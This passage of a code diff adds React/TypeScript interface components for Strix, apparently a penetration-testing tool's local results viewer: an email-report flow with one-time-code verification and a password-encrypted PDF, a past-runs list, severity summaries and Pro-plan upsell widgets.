* Overview CTA, which already states the tradeoff). Unverified users land on
* the email step; already-verified users send immediately.
*/
skipDisclosure?: boolean;
/** Refresh auth + runs after a successful verify (lifts state to App). */
onAuthChanged: () => void;
/** Leave this page (report "Done" -> overview; verify success -> history). */
onExit: (dest: "overview" | "history") => void;
}
const OTP_START_ERRORS: Record<string, string> = {
work_email_required: "Please use your work email, not a personal one.",
rate_limited: "Too many requests. Wait a minute and try again.",
invalid_email: "That email does not look right. Check it and try again.",
unavailable: "The email service is unavailable right now. Try again shortly.",
};
const SEND_ERRORS: Record<string, string> = {
forbidden: "This email was unsubscribed from Strix, so we cannot send to it.",
too_large: "This report is too large to email. Try a smaller run.",
unavailable: "The email service is unavailable right now. Try again shortly.",
};
// A small set of common personal providers for instant client-side feedback.
// The relay is authoritative (it checks the full free-email-domains list).
const COMMON_FREE_DOMAINS = new Set([
"gmail.com", "googlemail.com", "yahoo.com", "ymail.com", "outlook.com",
"hotmail.com", "live.com", "icloud.com", "me.com", "aol.com", "proton.me",
"protonmail.com", "gmx.com", "mail.com",
]);
export default function EmailReportView({
activeRun,
auth,
purpose,
skipDisclosure = false,
onAuthChanged,
onExit,
}: EmailReportViewProps) {
const verified = auth?.verified === true;
const verifyOnly = purpose === "verify";
// Verify mode (and the Overview CTA, which skips the disclosure) start on the
// email step; a verified user who skips the disclosure sends immediately.
const [step, setStep] = useState<Step>(() => {
if (verifyOnly) return "email";
if (skipDisclosure) return verified ? "sending" : "email";
return "disclosure";
});
const [email, setEmail] = useState(auth?.email ?? "");
const [code, setCode] = useState("");
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const [notice, setNotice] = useState<string | null>(null);
const [password, setPassword] = useState("");
const [filename, setFilename] = useState("");
const [copied, setCopied] = useState(false);
const [sentTo, setSentTo] = useState("");
const autoSentRef = useRef(false);
const doSend = async () => {
setStep("sending");
setError(null);
const result = await sendReport(activeRun);
if (result.ok) {
track("report_sent");
setPassword(result.password);
setFilename(result.filename);
setStep("password");
return;
}
if (result.error === "reverify" || result.error === "unverified") {
setNotice("Your verification expired. Enter your email to verify again.");
setStep("email");
return;
}
setError(SEND_ERRORS[result.error] ?? "Could not send the report. Try again.");
setStep("disclosure");
};
const startFlow = () => {
setError(null);
setNotice(null);
if (verified) void doSend();
else setStep("email");
};
// A verified user who skipped the disclosure (Overview CTA) sends on arrival.
useEffect(() => {
if (!verifyOnly && skipDisclosure && verified && !autoSentRef.current) {
autoSentRef.current = true;
void doSend();
}
// Run once on mount; the page remounts fresh each time it is opened.
// eslint-disable-next-line react-hooks/exhaustive-deps
}, []);
const submitEmail = async () => {
const value = email.trim();
if (!value) {
setError("Enter your email to continue.");
return;
}
const domain = value.slice(value.lastIndexOf("@") + 1).toLowerCase();
if (COMMON_FREE_DOMAINS.has(domain)) {
track("work_email_required");
setError(OTP_START_ERRORS.work_email_required);
return;
}
setBusy(true);
setError(null);
const result = await otpStart(value);
setBusy(false);
if (result.ok) {
track("email_submitted", { purpose });
setNotice(`We sent a 6-digit code to ${value}.`);
setStep("code");
} else {
if (result.error === "work_email_required") track("work_email_required");
setError(OTP_START_ERRORS[result.error] ?? "Could not send a code. Try again.");
}
};
const submitCode = async () => {
const value = code.trim();
if (value.length < 4) {
setError("Enter the 6-digit code from your email.");
return;
}
setBusy(true);
setError(null);
const result = await otpVerify(email.trim(), value);
setBusy(false);
if (!result.verified) {
setError("That code did not match. Check it and try again.");
return;
}
track("email_verified", { purpose });
setSentTo(result.email);
onAuthChanged();
if (verifyOnly) onExit("history");
else void doSend();
};
const copyPassword = async () => {
try {
await navigator.clipboard.writeText(password);
setCopied(true);
setTimeout(() => setCopied(false), 1500);
} catch {
/* clipboard may be unavailable; the password is visible to copy manually */
}
};
const confirmationEmail = sentTo || auth?.email || email.trim();
return (
<div className="mx-auto max-w-md space-y-4">
<button
onClick={() => onExit(verifyOnly ? "history" : "overview")}
className="cursor-pointer inline-flex items-center gap-1.5 text-sm text-[#888] transition-colors hover:text-white"
>
<ArrowLeft className="h-4 w-4" />
{verifyOnly ? "Back to past runs" : "Back to results"}
</button>
<div className="flex items-center gap-2">
<Mail className="h-5 w-5 text-[#888]" aria-hidden="true" />
<h1 className="text-2xl font-semibold text-white">
{verifyOnly ? "Verify your email" : "Email report"}
</h1>
</div>
<div
className="w-full rounded-2xl bg-[rgba(255,255,255,0.02)] p-6"
style={{ border: "1px solid #2a2a2a" }}
>
<p className="mb-4 text-xs text-[#666]">
{verifyOnly
? "We send a one-time code to confirm it is you."
: "Verified by a one-time code sent to your email"}
</p>
{error && (
<div className="mb-4 flex items-start gap-2 rounded-lg border border-red-500/30 bg-red-500/5 px-3 py-2">
<AlertCircle className="mt-0.5 h-4 w-4 flex-shrink-0 text-red-400" aria-hidden="true" />
<p className="text-xs text-red-300">{error}</p>
</div>
)}
{notice && !error && step !== "password" && (
<p className="mb-4 text-xs text-[#888]">{notice}</p>
)}
{step === "disclosure" && (
<div className="space-y-4">
<div
className="space-y-2.5 rounded-lg p-3.5"
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
>
<div className="flex items-start gap-2.5">
<ShieldCheck className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
<p className="text-xs leading-relaxed text-[#aaa]">
Viewing stays local and nothing is uploaded. Emailing is an explicit
opt-in: we send an <span className="text-white">encrypted PDF</span>.
</p>
</div>
<div className="flex items-start gap-2.5">
<Lock className="mt-0.5 h-4 w-4 flex-shrink-0 text-[#888]" aria-hidden="true" />
<p className="text-xs leading-relaxed text-[#aaa]">
The report is encrypted with a password that only you hold. Strix
cannot read it and never stores it. We collect only your email so we
can send it.
</p>
</div>
</div>
<button
onClick={startFlow}
className="w-full cursor-pointer rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90"
>
{verified ? "Email me the encrypted PDF" : "Continue with your email"}
</button>
{verified && auth?.email && (
<p className="text-center text-xs text-[#666]">Sending to {auth.email}</p>
)}
</div>
)}
{step === "email" && (
<form
className="space-y-4"
onSubmit={(e) => {
e.preventDefault();
void submitEmail();
}}
>
<label className="block">
<span className="mb-1.5 block text-xs text-[#888]">Your work email</span>
<input
type="email"
autoFocus
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="you@company.com"
className="w-full rounded-lg bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-[#444]"
style={{ border: "1px solid #2a2a2a" }}
/>
<span className="mt-1.5 block text-[11px] text-[#666]">Use your work email.</span>
</label>
<button
type="submit"
disabled={busy}
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
>
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
Send me a code
</button>
</form>
)}
{step === "code" && (
<form
className="space-y-4"
onSubmit={(e) => {
e.preventDefault();
void submitCode();
}}
>
<label className="block">
<span className="mb-1.5 block text-xs text-[#888]">6-digit code</span>
<input
inputMode="numeric"
autoFocus
value={code}
onChange={(e) => setCode(e.target.value.replace(/\D/g, "").slice(0, 6))}
placeholder="123456"
className="w-full rounded-lg bg-black px-3 py-2.5 text-center text-lg font-mono tracking-[0.4em] text-white outline-none transition-colors focus:border-[#444]"
style={{ border: "1px solid #2a2a2a" }}
/>
</label>
<button
type="submit"
disabled={busy}
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
>
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
{verifyOnly ? "Verify" : "Verify and send"}
</button>
<button
type="button"
onClick={() => {
setStep("email");
setError(null);
setNotice(null);
}}
className="w-full cursor-pointer text-center text-xs text-[#666] transition-colors hover:text-[#aaa]"
>
Use a different email
</button>
</form>
)}
{step === "sending" && (
<div className="flex flex-col items-center gap-3 py-8">
<Loader2 className="h-6 w-6 animate-spin text-white" aria-hidden="true" />
<p className="text-sm text-[#aaa]">Generating and encrypting locally...</p>
</div>
)}
{step === "password" && (
<div className="space-y-4">
<div className="flex items-start gap-2.5 rounded-lg border border-emerald-500/30 bg-emerald-500/5 px-3 py-2.5">
<Check className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
<p className="text-xs text-emerald-200">
Sent to {confirmationEmail}. Open the attached PDF with this password.
</p>
</div>
<div>
<span className="mb-1.5 block text-xs text-[#888]">Your one-time password</span>
<div
className="flex items-center gap-2 rounded-lg bg-black p-3"
style={{ border: "1px solid #2a2a2a" }}
>
<code className="flex-1 break-all font-mono text-base text-white">{password}</code>
<button
onClick={copyPassword}
className="flex cursor-pointer items-center gap-1 rounded-md px-2 py-1 text-xs text-[#aaa] transition-colors hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
style={{ border: "1px solid #2a2a2a" }}
>
{copied ? <Check className="h-3.5 w-3.5" /> : <Copy className="h-3.5 w-3.5" />}
{copied ? "Copied" : "Copy"}
</button>
</div>
<p className="mt-2 text-xs text-[#666]">
Save this now. Strix never stores it, so we cannot show it again. File:{" "}
<span className="font-mono text-[#888]">{filename}</span>
</p>
</div>
<button
onClick={() => onExit("overview")}
className="w-full cursor-pointer rounded-lg px-4 py-2.5 text-sm font-semibold text-white transition-colors hover:bg-[rgba(255,255,255,0.06)]"
style={{ border: "1px solid #2a2a2a" }}
>
Done
</button>
</div>
)}
</div>
</div>
);
}
@@ -0,0 +1,163 @@
import { useState } from "react";
import { Loader2, AlertCircle } from "lucide-react";
import { otpStart, otpVerify } from "@/data/serverSource";
import { track } from "@/lib/cta";
/**
* Compact inline email -> 6-digit-code verify flow. Unlike EmailReportView this
* has no page chrome, no report send, and no password panel: it just confirms
* the email so the past-runs list can unlock in place. On success it calls
* `onVerified` (the parent refreshes auth + runs).
*/
const OTP_START_ERRORS: Record<string, string> = {
work_email_required: "Please use your work email, not a personal one.",
rate_limited: "Too many requests. Wait a minute and try again.",
invalid_email: "That email does not look right. Check it and try again.",
unavailable: "The email service is unavailable right now. Try again shortly.",
};
// A small set of common personal providers for instant client-side feedback.
// The relay is authoritative (it checks the full free-email-domains list).
const COMMON_FREE_DOMAINS = new Set([
"gmail.com", "googlemail.com", "yahoo.com", "ymail.com", "outlook.com",
"hotmail.com", "live.com", "icloud.com", "me.com", "aol.com", "proton.me",
"protonmail.com", "gmx.com", "mail.com",
]);
export default function EmailVerifyInline({ onVerified }: { onVerified: () => void }) {
const [step, setStep] = useState<"email" | "code">("email");
const [email, setEmail] = useState("");
const [code, setCode] = useState("");
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const [notice, setNotice] = useState<string | null>(null);
const submitEmail = async () => {
const value = email.trim();
if (!value) {
setError("Enter your email to continue.");
return;
}
const domain = value.slice(value.lastIndexOf("@") + 1).toLowerCase();
if (COMMON_FREE_DOMAINS.has(domain)) {
track("work_email_required");
setError(OTP_START_ERRORS.work_email_required);
return;
}
setBusy(true);
setError(null);
const result = await otpStart(value);
setBusy(false);
if (result.ok) {
track("email_submitted", { purpose: "verify" });
setNotice(`We sent a 6-digit code to ${value}.`);
setStep("code");
} else {
if (result.error === "work_email_required") track("work_email_required");
setError(OTP_START_ERRORS[result.error] ?? "Could not send a code. Try again.");
}
};
const submitCode = async () => {
const value = code.trim();
if (value.length < 4) {
setError("Enter the 6-digit code from your email.");
return;
}
setBusy(true);
setError(null);
const result = await otpVerify(email.trim(), value);
setBusy(false);
if (!result.verified) {
setError("That code did not match. Check it and try again.");
return;
}
track("email_verified", { purpose: "verify" });
onVerified();
};
return (
<div className="mx-auto mt-5 max-w-sm text-left">
{error && (
<div className="mb-3 flex items-start gap-2 rounded-lg border border-red-500/30 bg-red-500/5 px-3 py-2">
<AlertCircle className="mt-0.5 h-4 w-4 flex-shrink-0 text-red-400" aria-hidden="true" />
<p className="text-xs text-red-300">{error}</p>
</div>
)}
{notice && !error && <p className="mb-3 text-xs text-[#888]">{notice}</p>}
{step === "email" ? (
<form
className="space-y-3"
onSubmit={(e) => {
e.preventDefault();
void submitEmail();
}}
>
<label className="block">
<span className="mb-1.5 block text-xs text-[#888]">Your work email</span>
<input
type="email"
autoFocus
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="you@company.com"
className="w-full rounded-lg bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-[#444]"
style={{ border: "1px solid #2a2a2a" }}
/>
<span className="mt-1.5 block text-[11px] text-[#666]">Use your work email.</span>
</label>
<button
type="submit"
disabled={busy}
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
>
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
Send me a code
</button>
</form>
) : (
<form
className="space-y-3"
onSubmit={(e) => {
e.preventDefault();
void submitCode();
}}
>
<label className="block">
<span className="mb-1.5 block text-xs text-[#888]">6-digit code</span>
<input
inputMode="numeric"
autoFocus
value={code}
onChange={(e) => setCode(e.target.value.replace(/\D/g, "").slice(0, 6))}
placeholder="123456"
className="w-full rounded-lg bg-black px-3 py-2.5 text-center text-lg font-mono tracking-[0.4em] text-white outline-none transition-colors focus:border-[#444]"
style={{ border: "1px solid #2a2a2a" }}
/>
</label>
<button
type="submit"
disabled={busy}
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
>
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
Verify
</button>
<button
type="button"
onClick={() => {
setStep("email");
setError(null);
setNotice(null);
}}
className="w-full cursor-pointer text-center text-xs text-[#666] transition-colors hover:text-[#aaa]"
>
Use a different email
</button>
</form>
)}
</div>
);
}
@@ -0,0 +1,96 @@
import {
CalendarClock,
WandSparkles,
Puzzle,
Users,
ArrowUpRight,
} from "lucide-react";
import { SIGNUP_URL, PRICING_URL, ctaUrl, trackCta } from "@/lib/cta";
import type { ProFeature } from "@/lib/pro-features";
import { ProTag } from "@/components/ProCta";
/**
* In-app upsell page for a single platform feature. Modeled on the cloud app's
* Networks upsell: a centered bordered card with an icon medallion, tier pill,
* headline, one-line description, a shared "Included in Strix Pro" bullet list,
* then a primary sign-up CTA and a secondary link to all plans.
*/
const INCLUDED = [
{
icon: CalendarClock,
text: "Continuous coverage: scheduled pentests and attack surface monitoring",
},
{ icon: WandSparkles, text: "One-click autofix that opens a retested pull request" },
{ icon: Puzzle, text: "Two-way sync to Jira, Linear, and Slack" },
{ icon: Users, text: "Your whole team, with roles and shared history" },
];
export default function FeatureDetail({ feature }: { feature: ProFeature }) {
const Icon = feature.icon;
return (
<div className="mx-auto w-full max-w-lg">
<div className="rounded-2xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center">
<div
className="mx-auto flex h-12 w-12 items-center justify-center rounded-xl"
style={{ border: "1px solid #2a2a2a", background: "rgba(255,255,255,0.04)" }}
>
<Icon className="h-5 w-5 text-[#888]" aria-hidden="true" />
</div>
<div className="mt-4 flex justify-center">
<ProTag label={feature.tier} />
</div>
<h2 className="mt-3 text-2xl font-semibold text-white">{feature.headline}</h2>
<p className="mx-auto mt-2 max-w-md text-sm text-[#888]">{feature.description}</p>
<div
className="mt-6 rounded-xl p-4 text-left"
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
>
<p className="mb-3 text-xs font-semibold uppercase tracking-wide text-[#666]">
Included in Strix Pro
</p>
<ul className="space-y-2.5">
{INCLUDED.map((item) => {
const BulletIcon = item.icon;
return (
<li key={item.text} className="flex items-start gap-2.5">
<BulletIcon
className="mt-0.5 h-4 w-4 flex-shrink-0 text-[#888]"
aria-hidden="true"
/>
<span className="text-sm text-[#aaa]">{item.text}</span>
</li>
);
})}
</ul>
</div>
<div className="mt-6 flex flex-col items-center gap-3">
<a
href={ctaUrl(SIGNUP_URL, feature.slug)}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta(feature.slug, "feature_page")}
className="inline-flex w-full items-center justify-center gap-1.5 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90"
>
Start free
<ArrowUpRight className="h-3.5 w-3.5" aria-hidden="true" />
</a>
<a
href={ctaUrl(PRICING_URL, feature.slug)}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta(feature.slug, "feature_page_plans")}
className="inline-flex items-center gap-1 text-xs text-[#888] transition-colors hover:text-white"
>
View all plans
<ArrowUpRight className="h-3 w-3" aria-hidden="true" />
</a>
</div>
</div>
</div>
);
}
@@ -0,0 +1,77 @@
import React from "react";
import { cn } from "@/lib/utils";
export interface IssueSeveritySummaryFindings {
total: number;
critical: number;
high: number;
medium: number;
low: number;
}
interface IssueSeveritySummaryProps {
findings: IssueSeveritySummaryFindings;
className?: string;
/** Noun for the total count (e.g. "issues", "CVEs"). Defaults to "issues". */
unit?: string;
/** Optional content rendered at the end of the count row (e.g. a KEV badge). */
trailing?: React.ReactNode;
}
const SEVERITIES = [
{ key: "critical", label: "critical", dotClass: "bg-red-500", textClass: "text-red-500" },
{ key: "high", label: "high", dotClass: "bg-orange-500", textClass: "text-orange-500" },
{ key: "medium", label: "medium", dotClass: "bg-yellow-500", textClass: "text-yellow-500" },
{ key: "low", label: "low", dotClass: "bg-blue-500", textClass: "text-blue-500" },
] as const;
export function IssueSeveritySummary({
findings,
className,
unit = "issues",
trailing,
}: IssueSeveritySummaryProps) {
if (findings.total <= 0) return null;
return (
<div className={cn("space-y-3", className)}>
<div className="flex flex-wrap items-center gap-x-8 gap-y-3">
<div className="flex items-center gap-2">
<span className="text-2xl font-semibold text-white tabular-nums">{findings.total}</span>
<span className="text-sm text-[#666]">{unit}</span>
</div>
<div className="flex flex-wrap items-center gap-x-6 gap-y-2">
{SEVERITIES.map(({ key, label, dotClass, textClass }) => {
const count = findings[key];
if (count <= 0) return null;
return (
<div key={key} className="flex items-center gap-1.5">
<div className={cn("w-2 h-2 rounded-full", dotClass)} aria-hidden="true" />
<span className={cn("text-sm tabular-nums", textClass)}>{count}</span>
<span className="text-xs text-[#555]">{label}</span>
</div>
);
})}
</div>
{trailing ? <div className="flex items-center gap-2">{trailing}</div> : null}
</div>
<div className="h-1.5 rounded-full bg-[#222] overflow-hidden flex">
{SEVERITIES.map(({ key, dotClass }) => {
const count = findings[key];
if (count <= 0) return null;
return (
<div
key={key}
className={cn("h-full", dotClass)}
style={{ width: `${(count / findings.total) * 100}%` }}
/>
);
})}
</div>
</div>
);
}
@@ -0,0 +1,176 @@
import { useState } from "react";
import { History, ChevronRight, Terminal } from "lucide-react";
import type { RunListEntry, RunsPayload, RunSeverityCounts } from "@/data/serverSource";
import { runTitle } from "@/lib/target-utils";
import { trackCta } from "@/lib/cta";
import EmailVerifyInline from "@/components/EmailVerifyInline";
/**
* "Past runs" panel. Unverified users see a tease with the run count and a
* verify affordance (the launched run stays fully visible; the CLI
* `strix view <name>` still works). Verified users get the full history and can
* switch the active run, which threads ?run=<name> through the data fetches.
*/
const SEV = [
{ key: "critical", dot: "bg-red-500", text: "text-red-500" },
{ key: "high", dot: "bg-orange-500", text: "text-orange-500" },
{ key: "medium", dot: "bg-yellow-500", text: "text-yellow-500" },
{ key: "low", dot: "bg-blue-500", text: "text-blue-500" },
] as const;
function SeverityChips({ counts }: { counts: RunSeverityCounts }) {
const shown = SEV.filter((s) => counts[s.key] > 0);
if (shown.length === 0) {
return <span className="text-xs text-[#555]">No findings</span>;
}
return (
<div className="flex items-center gap-3">
{shown.map((s) => (
<div key={s.key} className="flex items-center gap-1.5">
<span className={`h-2 w-2 rounded-full ${s.dot}`} aria-hidden="true" />
<span className={`text-xs tabular-nums ${s.text}`}>{counts[s.key]}</span>
</div>
))}
</div>
);
}
function formatDate(iso: string | null): string | null {
if (!iso) return null;
const normalized = iso.trim().replace(" UTC", "Z").replace(" ", "T");
const d = new Date(normalized);
if (Number.isNaN(d.getTime())) return null;
return d.toLocaleString(undefined, {
month: "short",
day: "numeric",
hour: "numeric",
minute: "2-digit",
});
}
/**
* Relative time ("just now" / "5m ago" / "3h ago" / "2d ago"), falling back to
* the absolute date for anything older than a week (mirrors the pro app).
*/
function formatTimeAgo(iso: string | null): string | null {
if (!iso) return null;
const normalized = iso.trim().replace(" UTC", "Z").replace(" ", "T");
const d = new Date(normalized);
if (Number.isNaN(d.getTime())) return null;
const diffMs = Date.now() - d.getTime();
const mins = Math.floor(diffMs / 60000);
if (mins < 1) return "just now";
if (mins < 60) return `${mins}m ago`;
const hours = Math.floor(mins / 60);
if (hours < 24) return `${hours}h ago`;
const days = Math.floor(hours / 24);
if (days < 7) return `${days}d ago`;
return formatDate(iso);
}
interface PastRunsViewProps {
runs: RunsPayload | null;
activeRun: string | null;
onSelectRun: (name: string) => void;
onVerified: () => void;
}
export default function PastRunsView({
runs,
activeRun,
onSelectRun,
onVerified,
}: PastRunsViewProps) {
const count = runs?.count ?? 0;
const [showVerify, setShowVerify] = useState(false);
if (!runs || runs.locked) {
return (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center">
<div
className="mx-auto mb-4 flex h-11 w-11 items-center justify-center rounded-xl"
style={{ border: "1px solid #2a2a2a", background: "rgba(255,255,255,0.04)" }}
>
<History className="h-5 w-5 text-[#888]" aria-hidden="true" />
</div>
<h2 className="text-base font-semibold text-white">Browse every run on this machine</h2>
<p className="mx-auto mt-1.5 max-w-md text-sm text-[#888]">
You have {count} past {count === 1 ? "run" : "runs"} on this machine.
</p>
{showVerify ? (
<>
<p className="mx-auto mt-3 max-w-sm text-xs text-[#666]">
Verify your email with a one-time code to unlock the full history.
</p>
<EmailVerifyInline onVerified={onVerified} />
</>
) : (
<button
onClick={() => {
trackCta("history_unlock", "past_runs");
setShowVerify(true);
}}
className="mt-4 cursor-pointer rounded-lg bg-white px-4 py-2 text-sm font-semibold text-black transition-opacity hover:opacity-90"
>
View runs
</button>
)}
<p className="mt-4 flex items-center justify-center gap-1.5 text-xs text-[#555]">
<Terminal className="h-3.5 w-3.5" aria-hidden="true" />
Or open one from the CLI with{" "}
<code className="font-mono text-[#888]">strix view &lt;name&gt;</code>
</p>
</div>
);
}
if (runs.runs.length === 0) {
return (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center text-sm text-[#888]">
No past runs found on this machine yet.
</div>
);
}
return (
<div className="space-y-2">
{runs.runs.map((run: RunListEntry) => {
const active = run.name === activeRun;
const date = formatTimeAgo(run.start_time) ?? formatTimeAgo(run.end_time);
const title = runTitle(run.target, run.name);
return (
<button
key={run.name}
onClick={() => onSelectRun(run.name)}
className={`group flex w-full cursor-pointer items-center gap-4 rounded-lg border px-4 py-3 text-left transition-colors ${
active
? "border-[#444] bg-[rgba(255,255,255,0.04)]"
: "border-[#222] bg-[rgba(255,255,255,0.02)] hover:border-[#444]"
}`}
>
<div className="min-w-0 flex-1">
<div className="flex items-center gap-2">
<span className="truncate text-sm font-medium text-white">{title}</span>
{active && (
<span className="rounded-full px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wide text-emerald-400" style={{ border: "1px solid rgba(16,185,129,0.3)" }}>
Active
</span>
)}
</div>
<div className="mt-0.5 flex flex-wrap items-center gap-x-2 gap-y-0.5 text-xs text-[#666]">
{run.scan_mode && <span className="capitalize">{run.scan_mode}</span>}
{run.scan_mode && (date || run.status) && <span className="text-[#333]">·</span>}
{date && <span>{date}</span>}
{date && run.status && <span className="text-[#333]">·</span>}
{run.status && <span className="capitalize">{run.status}</span>}
</div>
</div>
<SeverityChips counts={run.severity_counts} />
<ChevronRight className="h-4 w-4 flex-shrink-0 text-[#555] transition-colors group-hover:text-[#aaa]" aria-hidden="true" />
</button>
);
})}
</div>
);
}
@@ -0,0 +1,184 @@
import React, { useState } from "react";
import { ArrowUpRight } from "lucide-react";
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
import type { ProFeature } from "@/lib/pro-features";
/**
* Shared Pro CTA primitives. Every Pro item is a direct link-out to the cloud
* sign-up in a new tab with a hover tooltip one-liner (no modal, no lock icon).
* Built once here and reused by the sidebar Platform section, the top upsell
* row, and the inline CTAs in the tabs.
*/
/** Small tier pill ("Pro" or "Enterprise"). Deliberately not a padlock. */
export function ProTag({ label = "Pro", className = "" }: { label?: string; className?: string }) {
return (
<span
className={`inline-flex items-center rounded-full px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wide text-[#aaa] ${className}`}
style={{ border: "1px solid #2a2a2a", background: "rgba(255,255,255,0.04)" }}
>
{label}
</span>
);
}
/**
* Lightweight hover tooltip. Wraps a trigger and reveals `text` above it on
* hover/focus. Plain Tailwind + local state (no radix vendored).
*/
export function Tooltip({
text,
children,
className = "",
}: {
text: string;
children: React.ReactNode;
className?: string;
}) {
const [open, setOpen] = useState(false);
return (
<span
className={`relative inline-flex ${className}`}
onMouseEnter={() => setOpen(true)}
onMouseLeave={() => setOpen(false)}
onFocus={() => setOpen(true)}
onBlur={() => setOpen(false)}
>
{children}
{open && (
<span
role="tooltip"
className="pointer-events-none absolute bottom-full left-1/2 z-50 mb-2 w-max max-w-[240px] -translate-x-1/2 rounded-md px-2.5 py-1.5 text-xs text-[#ddd] shadow-lg"
style={{ border: "1px solid #2a2a2a", background: "#0a0a0a" }}
>
{text}
</span>
)}
</span>
);
}
export interface ProItem {
title: string;
desc: string;
slug: string;
icon: React.ElementType;
}
/**
* Card-style Pro feature tile: icon + name + one-liner + Pro tag + arrow.
* Used in the top upsell row and inline CTA grids.
*/
export function ProTile({ item, surface }: { item: ProItem; surface?: string }) {
const Icon = item.icon;
return (
<a
href={ctaUrl(SIGNUP_URL, item.slug)}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta(item.slug, surface)}
title={item.desc}
className="group block cursor-pointer rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-4 text-left transition-colors hover:border-[#444]"
>
<div className="mb-2 flex items-center justify-between">
<Icon className="h-4 w-4 text-[#888] transition-colors group-hover:text-white" aria-hidden="true" />
<div className="flex items-center gap-1.5">
<ProTag />
<ArrowUpRight className="h-3.5 w-3.5 text-[#555] transition-colors group-hover:text-[#aaa]" aria-hidden="true" />
</div>
</div>
<p className="text-sm font-medium text-white">{item.title}</p>
<p className="mt-0.5 text-xs text-[#666]">{item.desc}</p>
</a>
);
}
/**
* Sidebar-row Pro item: a two-line row (icon + label + short one-liner
* underneath) with a small right-aligned tier tag. Opens the in-app
* FeatureDetail view via onClick (no link-out) so it sits uniformly beside the
* run/local rows in the themed nav list.
*/
export function ProNavItem({
feature,
active,
onClick,
collapsed = false,
}: {
feature: ProFeature;
active?: boolean;
onClick: () => void;
collapsed?: boolean;
}) {
const Icon = feature.icon;
if (collapsed) {
return (
<button
onClick={onClick}
title={`${feature.title} (${feature.tier})`}
className={`group flex w-full cursor-pointer items-center justify-center rounded-md px-2.5 py-2 transition-colors ${
active
? "text-white"
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
}`}
style={active ? { background: "rgba(255,255,255,0.12)" } : undefined}
>
<Icon className="h-4 w-4 flex-shrink-0" aria-hidden="true" />
</button>
);
}
return (
<button
onClick={onClick}
className={`group flex w-full cursor-pointer items-start gap-2.5 rounded-md px-2.5 py-1.5 text-left transition-colors ${
active
? "text-white"
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
}`}
style={active ? { background: "rgba(255,255,255,0.12)" } : undefined}
>
<Icon className="mt-0.5 h-4 w-4 flex-shrink-0" aria-hidden="true" />
<span className="min-w-0 flex-1">
<span className="flex items-center gap-1.5">
<span className="flex-1 truncate text-sm">{feature.title}</span>
<ProTag label={feature.tier} />
</span>
<span className="mt-0.5 block text-[11px] leading-snug text-[#666]">{feature.navDesc}</span>
</span>
</button>
);
}
/**
* Inline Pro CTA button (compact). Used in the finding detail and per-surface
* rows where a full card is too heavy.
*/
export function ProInlineCta({
label,
desc,
slug,
icon: Icon,
surface,
}: {
label: string;
desc: string;
slug: string;
icon: React.ElementType;
surface?: string;
}) {
return (
<Tooltip text={desc}>
<a
href={ctaUrl(SIGNUP_URL, slug)}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta(slug, surface)}
className="group inline-flex items-center gap-2 rounded-lg border border-[#222] bg-[rgba(255,255,255,0.02)] px-3 py-2 text-sm text-[#aaa] transition-colors hover:border-[#444] hover:text-white"
>
<Icon className="h-4 w-4 text-[#888] transition-colors group-hover:text-white" aria-hidden="true" />
<span>{label}</span>
<ProTag className="ml-0.5" />
</a>
</Tooltip>
);
}
@@ -0,0 +1,200 @@
import { useState } from "react";
import { ChevronDown, ChevronUp, Info } from "lucide-react";
import { formatNumber } from "@/lib/display-number";
/**
* "Run details" card for the Overview tab: the launch configuration the run was
* started with (targets, instruction, scope, mode) and its LLM usage + cost.
* Everything is read defensively from the raw run.json record, which may be
* partial while a scan is still live.
*/
type Rec = Record<string, unknown>;
function rec(v: unknown): Rec {
return v && typeof v === "object" && !Array.isArray(v) ? (v as Rec) : {};
}
function arr(v: unknown): unknown[] {
return Array.isArray(v) ? v : [];
}
function str(v: unknown): string | null {
return typeof v === "string" && v.trim() ? v : null;
}
function num(v: unknown): number | null {
return typeof v === "number" && Number.isFinite(v) ? v : null;
}
function humanize(s: string): string {
return s.replace(/_/g, " ");
}
function cap(s: string | null): string | null {
return s ? s.charAt(0).toUpperCase() + s.slice(1) : s;
}
function fmtDuration(seconds: number | null): string {
